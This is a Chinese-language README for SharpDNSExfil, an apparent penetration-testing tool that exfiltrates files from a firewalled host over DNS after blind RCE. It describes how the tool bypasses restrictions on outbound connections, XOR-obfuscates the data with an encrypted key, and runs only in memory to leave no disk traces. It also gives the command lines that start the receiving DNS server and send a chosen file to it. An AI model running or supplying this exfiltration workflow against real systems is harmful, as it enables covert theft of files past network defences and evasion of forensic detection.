SharpDNSExfil 是一个用 C# 编写的数据渗出工具。其主要目标是在无需担心出站连接受限的情况下,渗出任意“磁盘上”的文件。
在我的一次渗透测试中,我获得了盲 RCE,但发现远程机器有防火墙保护,不允许出站连接,这让我很难获得反向连接。好消息是,DNS 服务器可以解析公共域名,并能通过 DNS 到达我。问题是,我仍然无法获得反向 shell,只能读取一些小的输出,但这不够好。所以我有了一个想法,通过 DNS 自动化整个过程并递归所有步骤,最终成功了!
注意:整个过程仅通过自定义公共 DNS 服务器测试过,尚未在实际企业环境中完全测试。因此,使用风险自负!
所有被渗出的字节都会与一个随机生成的密钥进行 XOR 运算。你可能会想,密钥在网络层面将以明文形式传输(Wireshark 即可捕获)。通过 --encrypt 选项,非对称加密就会介入,一个硬编码的公钥将对 XOR 密钥进行加密。本地机器(你)将收到加密形式的密钥,Python 脚本会自动使用其硬编码的私钥解密该密钥。其余传输的数据将通过 XOR 还原为原始字节。因此,请务必更换密钥对
| 加密前 | 加密后 |
|---|---|
![]() | ![]() |
dnsserver.py Python 脚本设置 DNS 服务器。选项如下:python3 dnserver.py --udp --port 53 --host 192.168.0.102
SharpDNSExfil.exe --file C:\path\to\file --server 192.168.0.102
SharpDNSExfil 的步骤和过程完全在内存中执行,不接触磁盘,以避免在渗透测试期间留下痕迹。SharpDNSExfil 会通过 --verbose 选项告知它后台执行的每一步骤或进程。每个发送的字节都经过 XOR 编码,密钥将进一步通过非对称加密进行加密,以避免网络流量中出现明文密钥。务必格外小心,始终做好记录,并在客户环境中进行清理。